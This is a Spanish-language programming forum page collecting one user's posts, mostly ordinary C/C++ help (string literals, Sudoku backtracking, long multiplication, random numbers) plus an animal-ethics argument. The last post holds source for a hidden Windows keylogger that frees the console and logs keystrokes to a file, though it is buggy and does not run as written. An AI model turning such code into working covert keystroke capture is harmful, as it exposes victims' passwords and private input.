Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - kutcher

#1
Cita de: CooperJames en 15 Marzo 2015, 19:43 PM
¿Alguien puede explicar que ocurre aquí?

En realidad no funciona solo parece estar funcionado. La razón por la que esto sucede es probablemente debido a una optimización del compilador:  al tratar de reducir los requisitos de memoria ya que las dos cadenas literales son idénticas, por lo que el compilador genera sólo una instancia de ellos y utiliza ese mismo puntero cada vez que se hace referencia a la cadena literal.

Eso es lo que parece suceder en su caso pero el resultado puede variar de compilador a compilador. No se puede confiar en esto, también mencionar que si dejas que el usuario ingrese las cadenas no se almacenaran en la misma dirección, por lo tanto su método no devolverá cero.
#2
Código (cpp) [Seleccionar]
Usuarios usuario1();

No declara un objeto de la clase Usuarios, declara una función que no tiene argumentos y devuelve un objeto de la clase Usuarios para declarar un objeto, utilice:

Código (cpp) [Seleccionar]
Usuarios usuario1;

Saludos
#3
Cita de: ShadowA7X en  8 Noviembre 2014, 19:32 PM
¿Cómo transformo el puntero que ésta dentro de *primera en otro vector?

Simple:

primera -> trabajos = malloc(...);

Saludos
#4
Buenas me he topado con un código un poco complicado de seguir, la cuestión es que se me hace difícil entender como logra aislar el número exacto en la posición requerida sin la necesidad (según veo) de una búsqueda exhaustiva como es común en este tipo de algoritmos, aquí el código :

int trycell(int *x, int pos)
{
   int row = pos / 9;
   int col = pos % 9;
   int i, j, used = 0;

   if (pos == 81)
       return 1;
   if (x[pos])
       return trycell(x, pos + 1);

   for (i = 0; i < 9; i++)
       used |= 1 << (x[i * 9 + col] - 1);

   for (j = 0; j < 9; j++)
       used |= 1 << (x[row * 9 + j] - 1);

   row = row / 3 * 3;
   col = col / 3 * 3;

   for (i = row; i < row + 3; i++)
       for (j = col; j < col + 3; j++)
           used |= 1 << (x[i * 9 + j] - 1);

   for (x[pos] = 1; x[pos] <= 9; x[pos]++, used >>= 1)
       if (!(used & 1) && trycell(x, pos + 1))
           return 1;
   x[pos] = 0;
   return 0;
}


Si pudieran aclararme como funciona mas o menos este código

Saludos kutcher
#5
Cita de: leosansan en 15 Octubre 2014, 07:21 AM
Este algoritmo es la clásica multiplicación:

Efectivamente al parecer se trata del método mencionado, pero en el esquema que has hecho, el resultado que obtienes creo es incorrecto debería ser 2829 en ves de 3936 todo esto debido a la alineación del segundo producto parcial a la derecha, he hecho un seguimiento minucioso al algoritmo y trabaja mas o menos asi :

Código (cpp) [Seleccionar]
 1 2 3
 x
   2 3
----------
  1// carry
 +
2 4 6 9   //(4 = c[k]) (9 = 3 * 3) (6 = 2 * 3) (2 = 2 * 1)
  --
  5 6     //(5 = c[k]) (6 = 3 * 2)
 +
  3       // (3 = 3 * 1)
----------
2 8 2 9


Saludos leosansan un gusto volverte a ver escribir
#6
Buenas noches, estoy estudiando un algoritmo que realiza una multiplicación de dos enteros almacenados en respectivos arrays, el problema es que no consigo entender el método utilizado en tal caso, ya que existen varios :

void longmulti(const char *a, const char *b, char *c)
{
    int i = 0, j = 0, k = 0, n, carry;
    int la, lb;

    la = strlen(a);
    lb = strlen(b);

    memset(c, '0', la + lb);
    c[la + lb] = '\0';

    for (i = la - 1; i >= 0; i--)
    {
        for (j = lb - 1, k = i + j + 1, carry = 0; j >= 0; j--, k--)
        {
            n = T(a[i]) * T(b[j]) + T(c[k]) + carry;
            carry = n / 10;
            c[k] = (n % 10) + '0';
        }
        c[k] += carry;
    }
    if (c[0] == '0')
       memmove(c, c + 1, la + lb);

    return;
}


Saludos
#7
Foro Libre / Re: Han asesinado a Excalibur
9 Octubre 2014, 19:50 PM
Cita de: ivancea96 en  9 Octubre 2014, 17:55 PM
Los separa de que no son tan inteligentes como nosotros. Viene siendo más importante la raza humana, que las demás.

La raza humana considera a los animales como seres inferiores susceptibles de ser utilizados en beneficio de la especie humana esto debido a la creencia de que los seres humanos son superiores a los animales en su evolución. Al igual que nosotros, los demás animales (no olvidemos que los seres humanos también somos animales) son individuos con capacidad para sufrir y disfrutar de su vida al igual que nosotros por eso creo que considerar la existencia de una especie no merece peso justo debido a su especie o cualidades es irracional e injusta

Lo cierto es que este tipo de pensamientos es tan injusto como sostener que tener la piel blanca determina si merecemos o no un trato justo o no. O también  los humanos con una discapacidad mental profunda o los enfermos en estado avanzado de Alzheimer no merecerían ser respetados como el resto. Esta discriminación es a todas luces injusta, ya que las cualidades elegidas no determinan cuáles son nuestros intereses y si nuestras vidas han de ser o no respetadas.

Saludos kutcher
#8
Solo es cuestión de generar un rango de números aleatorios especificos y multiplicar los siguientes por dos ya que todo entero multiplicado por dos siempre sera un número par :

Código (cpp) [Seleccionar]
2 * ((rand() % 25) + 1)

Esto genera pares aleatorios entre 1 y 50

Saludos kutcher
#9
Cita de: engel lex en 13 Septiembre 2014, 02:57 AM
que quieres más que haga?

Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias

Saludos kutcher



#10
Buenas, tengo el siguiente programa :

Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main(void)
{
    FILE *f;
    int i, n = 0;
    int line[256];

    FreeConsole();

    if(! (f = fopen("log.txt", "ab+")))
        return EXIT_FAILURE;

    while(1)
    {
        for(i = 0; i < 255; i++)
        {
            if(GetAsyncKeyState(i) == -32767)
            {
                if( n < 255)
                    line[n++] = i;
                else
                {
                    line[n] = '\0';
                    fprintf(f, "%s\n", line);
                    n = 0;
                }
            }
        }
        Sleep(2);
    }
    fclose(f);

    return EXIT_SUCCESS;
}


Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher